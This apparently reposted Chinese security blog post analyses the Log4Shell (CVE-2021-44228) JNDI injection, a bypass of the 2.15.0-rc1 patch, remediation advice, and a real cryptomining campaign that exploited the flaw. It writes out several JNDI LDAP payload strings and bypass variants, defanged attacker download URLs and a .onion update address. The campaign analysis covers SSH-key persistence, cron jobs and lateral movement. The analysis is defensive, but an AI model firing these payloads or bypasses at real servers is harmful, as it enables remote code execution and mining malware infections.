Log4shell漏洞研究及其挖矿案例分析

本文首发于云影实验室,为本人创作,现转载到个人博客,记录一下。
原文链接:https://mp.weixin.qq.com/s/O2xHr2OEHiga-qTnbWTxQg

Apache Log4j是Apache的一个开源项目,是一个基于Java的日志记录工具,因其卓越的性能,使用极其广泛。近日该组件编号为CVE-2021-44228的漏洞Log4shell被披露,大量常用框架已经被发现存在该漏洞,本漏洞触发条件极其简单,且毋需特殊配置,风险极大。

漏洞描述:

攻击者可直接构造恶意请求,触发远程代码执行漏洞。

影响范围如下:

Apache Log4j 2.x<=2.14.1

已知受影响的组件和供应商有:

Apache Solr
Apache Druid
Apache Struts2
Apache Flink
Apache Dubbo
Apple
腾讯
Steam
Twitter
百度
滴滴
京东
NetEase
Google
LinkedIn
VMwarevCenter
VMware
CloudFlare

漏洞分析:

该漏洞归根结底是一个非常简单的 JNDI 注入缺陷,其原理在于log4j在执行lookup()时,允许开发者通过一些协议去读取本地环境变量中的配置,但是在实现中未对输入进行严格判断。

在默认情况下,特定jdk版本的JNDI支持两种特殊的协议:RMI和LDAP。在这两种情况下,lookup() 调用后会返回一个Java 对象。但是攻击者可以通过Factory间接构造一个JNDI 引用。可以从远程URL的代码库加载恶意class。

过程分析:

org.apache.logging.log4j.core.pattern.MessagePatternConverter的#format函数

将输入内容作为字符串处理,然后对于其中出现的"${",进行替换操作。

图片

替换是一个字符串查找的过程,方法如下:将{xxx:yyy}的结构由 ':' 字符进行分割,解析为prefix和name两部分。通过prefix去strLookupMap哈希表查询对应的lookup方法,再通过实例调用lookup()方法,将name作为参数带入执行。

图片

主要目的是在日志记录中发现 ${ ,并将表达式里的内容,替换为表达式解析后的内容,导致攻击者可以任意执行命令。

以下为存在漏洞版本strLookupMap哈希表的内容,其中包含了jndi样危险的协议。

图片

最后跟入的触发点JndiManager.lookup如下:

图片

以最常见的ldap类型的攻击payload为例,

${jndi:ldap://xxx.xxx.xxx.xxx/exp}

最终利用过程如下图所示,通过jndi注入,使得lookup远程调用ldap服务,再利用ldap响应将请求重定向到准备好的攻击服务器上,使目标服务器下载恶意的class代码并将其执行。
图片

补丁分析及绕过:

修复版本2.15.0-rc1 :

补丁分析

经过diff和调试之后,主要发现两点修复:

  • 第一点修复是****PatternLayout.class的#StringBuilder toSerializable方法,
    这里将formnatters方法里包含的第8个formatter对象(原本是触发漏洞的MessagePatternConverter),修复为MessagePatternConverter.SimplePatternConverter

2.14.1版本:

图片2.15.0-rc1版本:

图片

分析一下,不难看出,这个类不再判断${}这种情况 ,而是直接拼接字符串。

图片

但是这个补丁在特定情况下仍然保留了进行${}处理的方法,前提是converte被设置为LookupMessagePatternConverter。

然而rc1的补丁默认设置nolookups,想要尝试绕过,只能是在用户手动将lookup开启的情景下才能进行。因而这一绕过在现实情况下,几乎不会构成威胁。

图片

图片

但是为了进行后续分析,我们手动开启lookup进行后续分析。

  • 第二点修复,添加白名单
    递归处理等过程均没有变化,最后JndiManager.lookup触发漏洞时,添加了协议白名单

图片

默认的协议只支持:ldap、ldaps、java

默认的Host白名单是localhost

实际上对我们的payload进行拦截的是这个OBJECT_FACTORY判断,因为我们RCE加载远程对象时,无论如何也避免不了使用Factory属性。

图片

然而JndiManager这里的处理存在一定漏洞给了我们Fuzz的空间:

    public synchronized <T> T lookup(final String name) throws NamingException {
        try {
            URI uri = new URI(name);
            ···
            }
        } catch (URISyntaxException ex) {
            // This is OK.
        }
        return (T) this.context.lookup(name);
    }

如果在这里触发了URI异常会直接触发lookup(name)

所以我们可以尝试构造payload使其在new URI(name)时候报错,但是在name传入context.lookup(name)的时候正常执行。

补丁绕过

知道绕过思路后,此处有两种基于此思路的绕过方法:

  1. 参考4ra1n师傅的思路,通过URI中加入空格触发报错:
    经过测试,发现URI(name)中不进行URL编码是会报错,所以可以直接在payload中加一个空格触发报错,直接进入lookup(name)。然而lookup时候又会自动去掉这个空格。

payload:${jndi:ldap://127.0.0.1:1389/ Exploit}

成功RCE(需要用户手动开启lookup功能的基础上才可以,鉴于生产环境,绝大多数情况下,这个fuzz只存在于理论上。)

图片

  1. 根据官方测试用例里,在URI后面加上脏数据:
    "?Type=A Type&Name=1100110&Char=!"

同样可以触发异常绕过防护。

图片

修复版本2.15.0-rc2 :

2.15.0-rc2的修复方法是在触发URI异常后直接return null,避免了上文的fuzz行为。

图片

基于甲方视角的修复建议分析

本段的思路主要来自于忍者师傅的文章,探讨一下目前各大厂商流行的临时修复方案及其潜在问题:

https://mp.weixin.qq.com/s/Jaq5NTwqBMX7mKMklDnOtA

漏洞刚刚被披露出来时,几乎所有的厂商预警文章都是互相copy的,里面存在各种没有详细说明,甚至无效的修复方案,比如:

图片

  1. 这些措施几乎完全是从安全调试的视角来看待问题,nolookups设置成true确实可以避免漏洞,但是禁用了所有的lookup是否会影响业务日志正常的打印输出,遇到了问题,调试找不到需要的日志有如何解决?
  2. 经过多次验证,给出的修复方案里设置系统环境变量这一条,并不能生效。
  3. 升级jdk版本只能防止一些里有LDAP和RMI产生的RCE,并不能防止敏感信息的带外攻击。

jdk版本升级

多数情况下,jdk版本升级之后攻击者最多也就只能触发一个dnslog,做不了进一步的命令执行操作。但是这并不是万无一失的,因为还存在通过dnslog带外各种敏感信息的风险。攻击者可以利用这些信息为后续的攻击做铺垫,可以参考浅蓝大佬的文章:https://mp.weixin.qq.com/s/vAE89A5wKrc-YnvTr0qaNg

里面介绍了在不出网的情况下通过 SystemPropertiesEnvironment 这两个lookup的参数获取一些环境变量和系统属性,并借助dnslog传递出去。

(PS:这个dnslog.cn崩了的替代品是https://app.interactsh.com/#/

图片图片

后续该公司在通告里对修复方案进行了详细的调整:

图片

对此笔者的建议如下:

相对最谨慎稳妥的解决方案是关闭log4j2的jndi调用后,再重新开启lookup避免影响业务功能。因为正常情况下应该不存在真的有开发者利用到了lookup里的jndi的情况。

利用log4j漏洞的挖矿攻击案例

前日,我们捕获到了一个利用log4j漏洞植入挖矿病毒的攻击行为,并对其进行了简单的分析。

其命令执行的payload位于URI中,作为路径的一部分:

\$%7Bjndi:ldap://xx.xx.xx.xx:1389/Exploit%7D

图片

攻击者在加载恶意class文件后,执行命令:下载并以shell格式执行了log文件,查看之后该log文件内容如下:

图片

在这里,恶意软件下载并执行各种可执行文件,然后是几个脚本。

下载完需要执行的ldm.sh文件之后,发现了连接矿池执行挖矿命令的代码:

这个矿工将自己的连接地址托管在了Tor网络的站点中,可以通过代理访问:

图片

ldm脚本将攻击者ssh公私密钥添加到ssh列表里,实现持久化控制。

图片

该脚本还会设置crontab任务,以定期从bvprzqhoz7j2ltin.onion/src/ldm等站点更新自己的内容。

图片

恶意脚本还会遍历系统后台其他正在执行的进程,从中筛选出挖矿脚本,并将其kill掉(黑吃黑)。

图片

除了利用本机执行挖矿代码,恶意脚本还能够通过提取本机的SSH 密钥,并从 bash 历史记录和 SSH 配置以及已知主机中构建一个,包含所有相关主机的列表来进行横向移动。

图片

如果这些主机被成功连接,就会在这些主机上下载以下脚本:

hxxp://34.221.40[.]237/[.]x/3sh
hxxp://34.221.40[.]]237/[.]x/1sh

其内容与之前的log脚本大体相似,从而实现横向移动。
图片

从脚本关联执行横向移动时,加载脚本的IP可以将这一挖矿攻击,与Muhstik僵尸网络活动关联起来。

图片

图片

结语:

新披露的Apache Log4j漏洞是一个利用方式简单而又丰富多样、影响范围又极其广泛的漏洞,厂商们紧急加固的同时,又有许多攻击者正在非常迅速地测试新漏洞的各种利用方式,如何快速地响应和合理地处置攻击行为,对甲方和乙方厂商都是严峻的考验,乙方在提供处置方案时要尽可能的保证严谨,对客户负责,甲方在加班加点修补漏洞的同时,也要充分保障业务的正常运转不受影响。

参考链接:

https://mp.weixin.qq.com/s/Jaq5NTwqBMX7mKMklDnOtA

https://mp.weixin.qq.com/s/vAE89A5wKrc-YnvTr0qaNg

https://xz.aliyun.com/t/10649

posted @ 2021-12-29 15:23  Highness_DragonFly  阅读(648)  评论(0编辑  收藏  举报